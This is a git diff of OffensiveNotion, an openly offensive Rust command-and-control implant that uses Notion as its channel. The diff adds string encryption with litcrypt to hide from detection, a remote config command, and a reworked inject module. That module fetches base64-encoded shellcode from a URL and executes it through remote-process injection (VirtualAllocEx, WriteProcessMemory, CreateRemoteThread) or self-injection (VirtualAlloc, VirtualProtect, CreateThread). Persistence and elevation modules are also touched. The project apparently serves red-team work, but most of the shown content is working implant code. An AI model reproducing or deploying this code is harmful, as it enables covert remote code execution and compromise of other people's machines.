diff --git a/.github/workflows/rust.yml b/.github/workflows/rust.yml index 0a87783..b795284 100644 --- a/.github/workflows/rust.yml +++ b/.github/workflows/rust.yml @@ -18,7 +18,17 @@ jobs: - uses: actions/checkout@v2 - name: Update Rust run: rustup update stable - - name: Build + - name: Build Debug + working-directory: ./agent + run: cargo build + env: + LITCRYPT_ENCRYPT_KEY: offensivenotion + - name: Upload artifact + uses: actions/upload-artifact@v2 + with: + name: offensive_notion_linux_amd64_debug + path: agent/target/debug/offensive_notion + - name: Build Release working-directory: ./agent run: cargo build --release env: @@ -37,11 +47,17 @@ jobs: - uses: actions/checkout@v2 - name: Update Rust run: rustup update stable - - name: Add macOS Triple - run: rustup target add x86_64-pc-windows-gnu - - name: Set LitCrypt Key - run: export LITCRYPT_ENCRYPT_KEY="offensivenotion" - - name: Build + - name: Build Debug + working-directory: ./agent + run: cargo build + env: + LITCRYPT_ENCRYPT_KEY: offensivenotion + - name: Upload artifact + uses: actions/upload-artifact@v2 + with: + name: offensive_notion_darwin_amd64_debug + path: agent/target/debug/offensive_notion + - name: Build Release working-directory: ./agent run: cargo build --release --target x86_64-apple-darwin env: @@ -64,7 +80,17 @@ jobs: run: sudo apt install -y mingw-w64 - name: Add Windows Triple run: rustup target add x86_64-pc-windows-gnu - - name: Build + - name: Build Debug + working-directory: ./agent + run: cargo build --target x86_64-pc-windows-gnu + env: + LITCRYPT_ENCRYPT_KEY: offensivenotion + - name: Upload artifact + uses: actions/upload-artifact@v2 + with: + name: offensive_notion_win_64_debug.exe + path: agent/target/x86_64-pc-windows-gnu/debug/offensive_notion.exe + - name: Build Release working-directory: ./agent run: cargo build --release --target x86_64-pc-windows-gnu env: diff --git a/.gitignore b/.gitignore index dd903db..cde6995 100644 --- a/.gitignore +++ b/.gitignore @@ -13,7 +13,4 @@ Dockerfile.bak utils/www/* offensive_notion offensive_notion.exe - - -# Excluding for experimentation agent/src/config.rs diff --git a/README.md b/README.md index 38dc3ac..5034d20 100755 --- a/README.md +++ b/README.md @@ -64,7 +64,21 @@ Please see the [Wiki][wiki] for setup, usage, commands, and more! > >-Taggart +## Contributors +The dev team would like to thank the following contributors for their work on OffensiveNotion: +| Contributor | Contribution | +| ----------- | ------------ | +| [@MEhrn00](https://github.com/MEhrn00) | Execution guardrails for domain name/joined status 🚀 | + +--- + +| Legend | +| ------ | +| 🚀 - Issue/PR submitted and code landed | +|💡 - Cool ideas | +|🤔 - Consultation/Inspiration | +| 🐛- Bug submission/fix | ## Disclaimer diff --git a/agent/Cargo.lock b/agent/Cargo.lock index aa89438..6cabeb8 100755 --- a/agent/Cargo.lock +++ b/agent/Cargo.lock @@ -288,7 +288,7 @@ version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a21c047df31ebe5936e1a8f8a1fd1020933fca89909625c481b651273b97eef" dependencies = [ - "winapi 0.3.9", + "winapi", ] [[package]] @@ -405,7 +405,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "04a4202a60e86f1c9702706bb42270dadd333f2db7810157563c86f17af3c873" dependencies = [ "users", - "winapi 0.3.9", + "winapi", ] [[package]] @@ -429,16 +429,6 @@ dependencies = [ "wasm-bindgen", ] -[[package]] -name = "kernel32-sys" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d" -dependencies = [ - "winapi 0.2.8", - "winapi-build", -] - [[package]] name = "lazy_static" version = "1.4.0" @@ -451,6 +441,16 @@ version = "0.2.113" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "eef78b64d87775463c549fbd80e19249ef436ea3bf1de2a1eb7e717ec7fab1e9" +[[package]] +name = "litcrypt" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f82f92066d9d41b3a569b459b7874e67feb835507a83b7bd142ea9f56c620c7" +dependencies = [ + "proc-macro2", + "quote", +] + [[package]] name = "lock_api" version = "0.4.5" @@ -506,7 +506,7 @@ dependencies = [ "log", "miow", "ntapi", - "winapi 0.3.9", + "winapi", ] [[package]] @@ -515,7 +515,7 @@ version = "0.3.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b9f1c5b025cda876f66ef43a113f91ebc9f4ccef34843000e0adf6ebbab84e21" dependencies = [ - "winapi 0.3.9", + "winapi", ] [[package]] @@ -542,7 +542,7 @@ version = "0.3.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f6bb902e437b6d86e03cce10a7e2af662292c5dfef23b65899ea3ac9354ad44" dependencies = [ - "winapi 0.3.9", + "winapi", ] [[package]] @@ -587,15 +587,15 @@ dependencies = [ [[package]] name = "offensive_notion" -version = "1.1.0" +version = "1.2.0" dependencies = [ "base64", "cidr-utils", "embed-resource", "houdini", "is-root", - "kernel32-sys", "libc", + "litcrypt", "rand", "reqwest", "serde", @@ -603,7 +603,7 @@ dependencies = [ "sysinfo", "tokio", "whoami", - "winapi 0.3.9", + "windows", "winreg 0.10.1", ] @@ -668,7 +668,7 @@ dependencies = [ "libc", "redox_syscall", "smallvec", - "winapi 0.3.9", + "winapi", ] [[package]] @@ -816,7 +816,7 @@ version = "0.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" dependencies = [ - "winapi 0.3.9", + "winapi", ] [[package]] @@ -868,7 +868,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f05ba609c234e60bee0d547fe94a4c7e9da733d1c962cf6e59efa4cd9c8bc75" dependencies = [ "lazy_static", - "winapi 0.3.9", + "winapi", ] [[package]] @@ -971,7 +971,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0f82496b90c36d70af5fcd482edaa2e0bd16fade569de1330405fecbbdac736b" dependencies = [ "libc", - "winapi 0.3.9", + "winapi", ] [[package]] @@ -997,7 +997,7 @@ dependencies = [ "ntapi", "once_cell", "rayon", - "winapi 0.3.9", + "winapi", ] [[package]] @@ -1011,7 +1011,7 @@ dependencies = [ "libc", "redox_syscall", "remove_dir_all", - "winapi 0.3.9", + "winapi", ] [[package]] @@ -1045,7 +1045,7 @@ dependencies = [ "pin-project-lite", "signal-hook-registry", "tokio-macros", - "winapi 0.3.9", + "winapi", ] [[package]] @@ -1286,12 +1286,6 @@ dependencies = [ "web-sys", ] -[[package]] -name = "winapi" -version = "0.2.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a" - [[package]] name = "winapi" version = "0.3.9" @@ -1302,12 +1296,6 @@ dependencies = [ "winapi-x86_64-pc-windows-gnu", ] -[[package]] -name = "winapi-build" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc" - [[package]] name = "winapi-i686-pc-windows-gnu" version = "0.4.0" @@ -1320,13 +1308,56 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +[[package]] +name = "windows" +version = "0.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45296b64204227616fdbf2614cefa4c236b98ee64dfaaaa435207ed99fe7829f" +dependencies = [ + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_msvc" +version = "0.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17cffbe740121affb56fad0fc0e421804adf0ae00891205213b5cecd30db881d" + +[[package]] +name = "windows_i686_gnu" +version = "0.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2564fde759adb79129d9b4f54be42b32c89970c18ebf93124ca8870a498688ed" + +[[package]] +name = "windows_i686_msvc" +version = "0.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9cd9d32ba70453522332c14d38814bceeb747d80b3958676007acadd7e166956" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfce6deae227ee8d356d19effc141a509cc503dfd1f850622ec4b0f84428e1f4" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d19538ccc21819d01deaf88d6a17eae6596a12e9aafdbb97916fb49896d89de9" + [[package]] name = "winreg" version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0120db82e8a1e0b9fb3345a539c478767c0048d842860994d96113d5b667bd69" dependencies = [ - "winapi 0.3.9", + "winapi", ] [[package]] @@ -1335,5 +1366,5 @@ version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" dependencies = [ - "winapi 0.3.9", + "winapi", ] diff --git a/agent/Cargo.toml b/agent/Cargo.toml index 121f0aa..54e7408 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "offensive_notion" -version = "1.1.0" +version = "1.2.0" edition = "2021" build = "build.rs" @@ -19,15 +19,24 @@ rand = "0.8.0" is-root = "0.1.2" base64 = "0.13.0" cidr-utils = "0.5.5" +litcrypt = "0.3" [build-dependencies] embed-resource = "1.6" [target.'cfg(windows)'.dependencies] -kernel32-sys = "0.2.2" -winapi = { version = "0.3.8", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] } winreg = "0.10" houdini = "1.0.2" +windows = { version = "0.34.0", features = [ + "Win32_System_SystemInformation", + "Win32_Foundation", + "Win32_NetworkManagement_NetManagement", + "Win32_Security", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_Threading", + "Win32_System_WindowsProgramming" + ] } [profile.dev] opt-level = 0 diff --git a/agent/src/cmd/cd.rs b/agent/src/cmd/cd.rs index d3d136a..de7c589 100755 --- a/agent/src/cmd/cd.rs +++ b/agent/src/cmd/cd.rs @@ -1,6 +1,7 @@ use std::error::Error; use std::path::Path; use std::env::set_current_dir; +use litcrypt::lc; use crate::cmd::{CommandArgs, notion_out}; /// Changes the directory using system tools @@ -9,7 +10,7 @@ pub fn handle(cmd_args: &mut CommandArgs) -> Result> { let path_arg = cmd_args.nth(0).unwrap_or_else(|| ".".to_string()); let new_path = Path::new(&path_arg); match set_current_dir(new_path) { - Ok(_) => notion_out!("Changed to {path_arg}"), + Ok(_) => notion_out!("Changed to ", &path_arg), Err(e) => Ok(format!("{e}")) } } diff --git a/agent/src/cmd/config.rs b/agent/src/cmd/config.rs new file mode 100755 index 0000000..1f12bc5 --- /dev/null +++ b/agent/src/cmd/config.rs @@ -0,0 +1,76 @@ +use std::error::Error; +use litcrypt::lc; +use serde_json; +use crate::logger::{Logger, log_out}; +use crate::cmd::{CommandArgs, ConfigOptions, ConfigOption, notion_out}; + +/// Does the actual work of updating the config. +/// +/// Uses the `ConfigOption` enum from the `config` module +/// to handle parsing of the commands. +async fn update_config(config_key: &str, config_val: &str, config_options: &mut ConfigOptions) -> Result { + if let Ok(v) = match config_key { + "api_key" => Ok(ConfigOption::ApiKey(config_val.to_string())), + "parent_page" => Ok(ConfigOption::ParentPage(config_val.to_string())), + "sleep" => match config_val.parse::() { + Ok(v) => Ok(ConfigOption::Sleep(v)), + Err(_) => Err(()) + }, + "jitter" => match config_val.parse::() { + Ok(v) => Ok(ConfigOption::Jitter(v)), + Err(_) => Err(()) + }, + "launch_app" => match config_val.parse::() { + Ok(v) => Ok(ConfigOption::LaunchApp(v)), + Err(_) => Err(()) + }, + "log_level" => match config_val.parse::() { + Ok(v) => Ok(ConfigOption::LogLevel(v)), + Err(_) => Err(()) + }, + "config_file_path" => Ok(ConfigOption::ConfigPath(config_val.to_string())), + "env_checks" => match serde_json::from_str(config_val) { + Ok(v) => Ok(ConfigOption::EnvChecks(v)), + Err(_) => Err(()) + }, + _ => Err(()) + } { + match v { + ConfigOption::ApiKey(v) => { config_options.api_key = v;}, + ConfigOption::ParentPage(v) => { config_options.parent_page_id = v;}, + ConfigOption::Sleep(v) => { config_options.sleep_interval = v;}, + ConfigOption::Jitter(v) => { config_options.jitter_time = v;}, + ConfigOption::LaunchApp(v) => { config_options.launch_app = v;}, + ConfigOption::LogLevel(v) => { config_options.log_level = v;}, + ConfigOption::ConfigPath(v) => { config_options.config_file_path = v;}, + ConfigOption::EnvChecks(v) => { config_options.env_checks = v }, + }; + Ok(lc!("Updated!")) + } else { + Err(lc!("Unknown config option!")) + } +} + +/// With no arguments, returns the config options as data to +/// the server. +/// +/// Usage: `sleep [CONFIG_ARG] [CONFIG_VALUE]` +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { + + match cmd_args.nth(0) { + Some(arg) => { + if let Some(val) = cmd_args.nth(0) { + match update_config(&arg, &val, config_options).await { + Ok(_) => notion_out!("Config Item Updated:", &arg.to_string(), ", New Value:", &val.to_string()), + Err(e) => Ok(e) + } + } else { + notion_out!("No value provided for option", &arg.to_string()) + } + }, + None => { + let config_json = serde_json::to_string(config_options)?; + return Ok(config_json.to_owned()); + } + } +} \ No newline at end of file diff --git a/agent/src/cmd/download.rs b/agent/src/cmd/download.rs index c4fc8d5..4646f8d 100755 --- a/agent/src/cmd/download.rs +++ b/agent/src/cmd/download.rs @@ -1,7 +1,8 @@ use std::error::Error; use std::io::copy; -use reqwest::Client; use std::fs::File; +use reqwest::Client; +use litcrypt::lc; use crate::cmd::{CommandArgs, notion_out}; use crate::logger::{Logger, log_out}; @@ -21,7 +22,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { return Ok(format!("{b} bytes written to {path}"));}, + Ok(b) => { return notion_out!("File written to ", &path);}, Err(_) => { return notion_out!("Could not write file"); } } } else { diff --git a/agent/src/cmd/elevate.rs b/agent/src/cmd/elevate.rs index 3d32da0..1b42db1 100644 --- a/agent/src/cmd/elevate.rs +++ b/agent/src/cmd/elevate.rs @@ -5,6 +5,7 @@ use crate::config::ConfigOptions; use crate::cmd::{CommandArgs, notion_out}; use std::env::args; use std::process::Command; +use litcrypt::lc; #[cfg(windows)] use std::env::{var}; #[cfg(windows)] use std::fs::copy as fs_copy; #[cfg(windows)] use crate::cmd::getprivs::is_elevated; diff --git a/agent/src/cmd/getprivs.rs b/agent/src/cmd/getprivs.rs index 4040a36..101a85f 100755 --- a/agent/src/cmd/getprivs.rs +++ b/agent/src/cmd/getprivs.rs @@ -1,19 +1,30 @@ use std::error::Error; use is_root::is_root; +use litcrypt::lc; use crate::cmd::notion_out; -#[cfg(windows)] use std::ptr::null_mut; -#[cfg(windows)] use winapi::um::handleapi::CloseHandle; -#[cfg(windows)] use winapi::um::processthreadsapi::GetCurrentProcess; -#[cfg(windows)] use winapi::um::processthreadsapi::OpenProcessToken; -#[cfg(windows)] use winapi::um::securitybaseapi::GetTokenInformation; -#[cfg(windows)] use winapi::um::winnt::TokenElevation; -#[cfg(windows)] use winapi::um::winnt::HANDLE; -#[cfg(windows)] use winapi::um::winnt::TOKEN_ELEVATION; -#[cfg(windows)] use libc; #[cfg(windows)] use std::mem; -#[cfg(windows)] use winapi::ctypes::c_void; -#[cfg(windows)] use winapi::um::winnt::TOKEN_QUERY; +#[cfg(windows)] use std::ptr::null_mut; +#[cfg(windows)] use std::ffi::c_void; +#[cfg(windows)] use windows::{ + core::{PSTR, PWSTR, PCWSTR}, + Win32::{ + Foundation::{ + CloseHandle, + HANDLE + }, + System::Threading::{ + GetCurrentProcess, + OpenProcessToken + }, + Security::{ + GetTokenInformation, + TokenElevation, + TOKEN_ELEVATION, + TOKEN_QUERY + } + } +}; pub fn is_elevated() -> bool { #[cfg(not(windows))] { @@ -22,7 +33,7 @@ pub fn is_elevated() -> bool { } #[cfg(windows)] { - let mut handle: HANDLE = null_mut(); + let mut handle = HANDLE(0); unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut handle) }; let elevation = unsafe { libc::malloc(mem::size_of::()) as *mut c_void }; @@ -30,7 +41,7 @@ pub fn is_elevated() -> bool { let mut ret_size = size; unsafe { GetTokenInformation( - handle, + &handle, TokenElevation, elevation, size as u32, @@ -39,9 +50,9 @@ pub fn is_elevated() -> bool { }; let elevation_struct: TOKEN_ELEVATION = unsafe{ *(elevation as *mut TOKEN_ELEVATION)}; - if !handle.is_null() { + if !handle.is_invalid() { unsafe { - CloseHandle(handle); + CloseHandle(&handle); } } @@ -53,7 +64,5 @@ pub fn is_elevated() -> bool { pub async fn handle() -> Result> { // TODO: Implement Linux check let is_admin = is_elevated(); - println!("{}", is_admin); - Ok(format!("Admin Context: {is_admin}")) - + notion_out!("Admin Context: ", &is_admin.to_string()) } \ No newline at end of file diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index d1d94a4..132510b 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -1,33 +1,47 @@ use std::error::Error; -use crate::logger::Logger; -use crate::cmd::{CommandArgs, notion_out}; - +use litcrypt::lc; use base64::decode as b64_decode; -#[cfg(windows)] extern crate winapi; -#[cfg(windows)] extern crate kernel32; -#[cfg(windows)] use winapi::um::winnt::{ - PROCESS_ALL_ACCESS, - MEM_COMMIT, - MEM_RESERVE, - PAGE_EXECUTE_READWRITE, - PAGE_EXECUTE_READ, - PAGE_READWRITE, - PVOID -}; -#[cfg(windows)] use winapi::um::{ - //errhandlingapi, - processthreadsapi, - winbase, - synchapi::WaitForSingleObject +use reqwest::Client; +use crate::logger::{Logger, log_out}; +use crate::cmd::{CommandArgs, notion_out}; +#[cfg(windows)] use windows::Win32:: { + Foundation::{ + CloseHandle, + GetLastError, + BOOL, + }, + System::{ + Memory::{ + VirtualAlloc, + VirtualAllocEx, + VirtualProtect, + PAGE_PROTECTION_FLAGS, + MEM_COMMIT, + MEM_RESERVE, + PAGE_READWRITE, + PAGE_EXECUTE_READ, + PAGE_EXECUTE_READWRITE + }, + Threading::{ + OpenProcess, + CreateThread, + CreateRemoteThread, + WaitForSingleObject, + THREAD_CREATION_FLAGS, + PROCESS_ALL_ACCESS + }, + Diagnostics::Debug::WriteProcessMemory, + WindowsProgramming::INFINITE + }, }; #[cfg(windows)] use std::ptr; -use reqwest::Client; +#[cfg(windows)] use core::ffi::c_void; -async fn decode_shellcode(sc: String, b64_iterations: u32, logger: &Logger) -> Result, &str> { - logger.debug("Starting shellcode debug".to_string()); +async fn decode_shellcode(sc: String, b64_iterations: u32, logger: &Logger) -> Result, String> { + logger.debug(log_out!("Starting shellcode debug")); let mut shellcode_vec = Vec::from(sc.trim().as_bytes()); for i in 0..b64_iterations { - logger.debug(format!("Decode iteration: {i}")); + logger.debug(log_out!("Decode iteration: ", &i.to_string())); match b64_decode(shellcode_vec) { Ok(d) => { shellcode_vec = d @@ -37,8 +51,8 @@ async fn decode_shellcode(sc: String, b64_iterations: u32, logger: &Logger) -> R }, Err(e) => { let err_msg = e.to_string(); - logger.err(format!("{}", err_msg.to_owned())); - return Err("Could not decode shellcode"); + logger.err(err_msg.to_owned()); + return Err(err_msg.to_owned()); } }; } @@ -48,18 +62,18 @@ async fn decode_shellcode(sc: String, b64_iterations: u32, logger: &Logger) -> R /// Handles the retrieval and deobfuscation of shellcode from a url. -async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Result, &str> { +async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Result, String> { // Download shellcode, or try to let client = Client::new(); if let Ok(r) = client.get(url).send().await { if r.status().is_success() { - logger.info(format!("Downloaded shellcode")); + logger.info(log_out!("Downloaded shellcode")); // Get the shellcode. Now we have to decode it let shellcode_decoded: Vec; let shellcode_final_vec: Vec; if let Ok(sc) = r.text().await { - logger.info(format!("Got encoded bytes")); - logger.debug(format!("Encoded shellcode length: {}", sc.len())); + logger.info(log_out!("Got encoded bytes")); + logger.debug(log_out!("Encoded shellcode length: ", &sc.len().to_string())); match decode_shellcode(sc, b64_iterations, logger).await { Ok(scd) => { shellcode_decoded = scd; }, Err(e) => { return Err(e); } @@ -73,9 +87,9 @@ async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Res if let Ok(s) = String::from_utf8(shellcode_decoded) { shellcode_string = s; } else { - let err_msg = "Could not convert shellcode bytes to string"; - logger.err(err_msg.to_string()); - return Err("Could not convert shellcode bytes to string"); + let err_msg = lc!("Could not convert bytes to string"); + logger.err(err_msg.to_owned()); + return Err(err_msg.to_owned()); } // At this point, we have the comma-separated "0xNN" form of the shellcode. // We need to get each one until a proper u8. @@ -102,17 +116,17 @@ async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Res return Ok(shellcode_final_vec); } else { - let err_msg = "Could not decode shellcode"; - logger.err(err_msg.to_string()); - return Err(err_msg); + let err_msg = lc!("Could not decode shellcode"); + logger.err(err_msg.to_owned()); + return Err(err_msg.to_owned()); } } else { - return Err("Could not download shellcode"); + return Err(r.text().await.unwrap()); } } else { - return Err("Could not download shellcode"); + return Err(lc!("Could not download shellcode")); } } @@ -145,7 +159,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { - logger.debug(format!("Shellcode URL: {}", &u)); + logger.debug(log_out!("Shellcode URL: ", &u)); url = u; }, None => { return notion_out!("Could not parse URL"); } @@ -178,35 +192,33 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { if let Ok(p) = ps.parse::() { - logger.debug(format!("Injecting into PID: {:?}", &p)); + logger.debug(log_out!("Injecting into PID: ", &p.to_string())); pid = p; // Big thanks to trickster0 // https://github.com/trickster0/OffensiveRust/tree/master/Process_Injection_CreateThread unsafe { - let h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), pid); - let addr = kernel32::VirtualAllocEx(h, ptr::null_mut(), shellcode.len() as u64, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); + let h = OpenProcess(PROCESS_ALL_ACCESS, false, pid); + let addr = VirtualAllocEx(h, ptr::null_mut(), shellcode.len(), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); let mut n = 0; - kernel32::WriteProcessMemory(h,addr,shellcode.as_ptr() as _, shellcode.len() as u64,&mut n); - let _h_thread = kernel32::CreateRemoteThread(h, ptr::null_mut(), 0 , Some(std::mem::transmute(addr)), ptr::null_mut(), 0, ptr::null_mut()); - kernel32::CloseHandle(h); + WriteProcessMemory(&h, addr, shellcode.as_ptr() as _, shellcode.len(), &mut n); + let _h_thread = CreateRemoteThread(h, ptr::null_mut(), 0 , Some(std::mem::transmute(addr)), ptr::null_mut(), 0, ptr::null_mut()); + CloseHandle(&h); } return notion_out!("Injection completed!"); } else { - let err_msg = "Could not parse PID"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); + let err_msg = lc!("Could not parse PID"); + logger.err(err_msg.to_owned()); + return Ok(err_msg.to_owned()); } }, None => { - let err_msg = "Could not extract PID"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); + let err_msg = lc!("Could not extract PID"); + logger.err(err_msg.to_owned()); + return Ok(err_msg.to_owned()); } }; }, "self" => { - type DWORD = u32; - // Get shellcode let mut shellcode: Vec; match get_shellcode(url, b64_iterations, logger).await { @@ -214,63 +226,63 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { return Ok(e.to_string()) } }; - logger.debug(format!("Injecting into current process...")); + logger.debug(log_out!("Injecting into current process...")); unsafe { - let base_addr = kernel32::VirtualAlloc( + + let base_addr = VirtualAlloc( ptr::null_mut(), - shellcode.len().try_into().unwrap(), + shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); if base_addr.is_null() { - logger.err("Couldn't allocate memory to current proc.".to_string()) + logger.err(log_out!("Couldn't allocate memory to current proc.")); } else { - logger.debug("Allocated memory to current proc.".to_string()); + logger.debug(log_out!("Allocated memory to current proc.")); } // copy shellcode into mem - logger.debug("Copying Shellcode to address in current proc.".to_string()); + logger.debug(log_out!("Copying Shellcode to address in current proc.")); std::ptr::copy(shellcode.as_ptr() as _, base_addr, shellcode.len()); - logger.debug("Copied...".to_string()); + logger.debug(log_out!("Copied...")); // Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _` - logger.debug("Changing mem protections to RX...".to_string()); + logger.debug(log_out!("Changing mem protections to RX...")); - let mut old_protect: DWORD = PAGE_READWRITE; + let mut old_protect: PAGE_PROTECTION_FLAGS = PAGE_READWRITE; - let mem_protect = kernel32::VirtualProtect( + let mem_protect: BOOL = VirtualProtect( base_addr, - shellcode.len() as u64, + shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect, ); + - if mem_protect == 0 { - //let error = errhandlingapi::GetLastError(); - return Ok(format!("Error during injection")); + if mem_protect.0 == 0 { + return notion_out!("Error during injection"); } // Call CreateThread - logger.debug("Calling CreateThread...".to_string()); + logger.debug(log_out!("Calling CreateThread...")); let mut tid = 0; - let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) }; + let ep: extern "system" fn(*mut c_void) -> u32 = { std::mem::transmute(base_addr) }; - let h_thread = processthreadsapi::CreateThread( + let h_thread = CreateThread( ptr::null_mut(), 0, Some(ep), ptr::null_mut(), - 0, + THREAD_CREATION_FLAGS(0), &mut tid, ); - if h_thread.is_null() { - //let error = unsafe { errhandlingapi::GetLastError() }; - logger.err(format!("Error during inject.")); + if h_thread.is_invalid() { + logger.err(log_out!("Error during inject.")); } else { - logger.info(format!("Thread Id: {tid}")); + logger.info(log_out!("Thread Id: ", &tid.to_string())); } // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index a4f6071..d57674f 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -4,11 +4,12 @@ use std::iter::Iterator; use std::result::Result; use core::str::Split; use std::fmt; -// Local imports -use crate::config::ConfigOptions; +// External imports +use crate::config::{ConfigOptions, ConfigOption}; use crate::logger::Logger; // Command modules mod cd; +mod config; mod download; pub mod elevate; pub mod getprivs; @@ -20,20 +21,26 @@ mod pwd; mod runas; mod save; pub mod shell; -mod sleep; mod shutdown; mod whoami; mod unknown; mod selfdestruct; +mod sysinfo; - +/// Uses litcrypt to encrypt output strings +/// and create `Ok(String)` output macro_rules! notion_out { - ($s:literal) => { - Ok(format!($s)) - }; - ($s:literal, $e:ident) => { - Ok(format!($s, $e)) - } + ($s:tt) => {{ + Ok(lc!($s)) + }}; + ($s:tt, $($e:expr),*) => {{ + let mut res = lc!($s); + $( + res.push(' '); + res.push_str($e); + )* + Ok(res) + }} } pub(crate) use notion_out; @@ -41,6 +48,7 @@ pub(crate) use notion_out; /// All the possible command types. Some have command strings, and some don't. pub enum CommandType { Cd, + Config, Download, Elevate, Getprivs, @@ -54,7 +62,7 @@ pub enum CommandType { Runas, Shell, Shutdown, - Sleep, + Sysinfo, Whoami, Unknown } @@ -99,6 +107,7 @@ impl CommandArgs { /// `CommandArgs`. pub fn from_split(args_split: Split<&str> ) -> CommandArgs { let items: Vec = args_split + .filter(|&a| a != "") .map(|a| a.trim().to_string()) .collect(); CommandArgs { items: items, count: 0 } @@ -107,6 +116,7 @@ impl CommandArgs { pub fn from_string(args_string: String) -> CommandArgs { let items: Vec = args_string .split(" ") + .filter(|&a| a != "") .map(|s| s.trim().to_string()) .collect(); @@ -160,6 +170,7 @@ impl NotionCommand { let command_type: CommandType = match t { "cd" => CommandType::Cd, + "config" => CommandType::Config, "download" => CommandType::Download, "elevate" => CommandType::Elevate, "getprivs" => CommandType::Getprivs, @@ -173,7 +184,7 @@ impl NotionCommand { "selfdestruct" => CommandType::Selfdestruct, "shell" => CommandType::Shell, "shutdown" => CommandType::Shutdown, - "sleep" => CommandType::Sleep, + "sysinfo" => CommandType::Sysinfo, "whoami" => CommandType::Whoami, _ => CommandType::Unknown, }; @@ -187,6 +198,7 @@ impl NotionCommand { pub async fn handle(&mut self, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { match &self.command_type { CommandType::Cd => cd::handle(&mut self.args), + CommandType::Config => config::handle(&mut self.args, config_options, logger).await, CommandType::Download => download::handle( &mut self.args, logger).await, CommandType::Elevate => elevate::handle(&mut self.args, config_options).await, CommandType::Getprivs => getprivs::handle().await, @@ -200,7 +212,7 @@ impl NotionCommand { CommandType::Selfdestruct => selfdestruct::handle().await, CommandType::Shell => shell::handle(&mut self.args).await, CommandType::Shutdown => shutdown::handle().await, - CommandType::Sleep => sleep::handle(&mut self.args, config_options).await, + CommandType::Sysinfo => sysinfo::handle().await, CommandType::Whoami => whoami::handle().await, CommandType::Unknown => unknown::handle().await, } diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 53b5c41..4735cdc 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -1,3 +1,4 @@ +use litcrypt::lc; use std::error::Error; use std::env::{var, args}; use is_root::is_root; @@ -234,7 +235,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio "service" => { if is_root() { match create_dir(&app_dir) { - Ok(_) => { logger.info(format!("Notion directory created")); }, + Ok(_) => { logger.info(log_out!("Notion directory created")); }, Err(e) => { logger.err(e.to_string()); } }; if let Ok(_) = copy(&app_path, &dest_path) 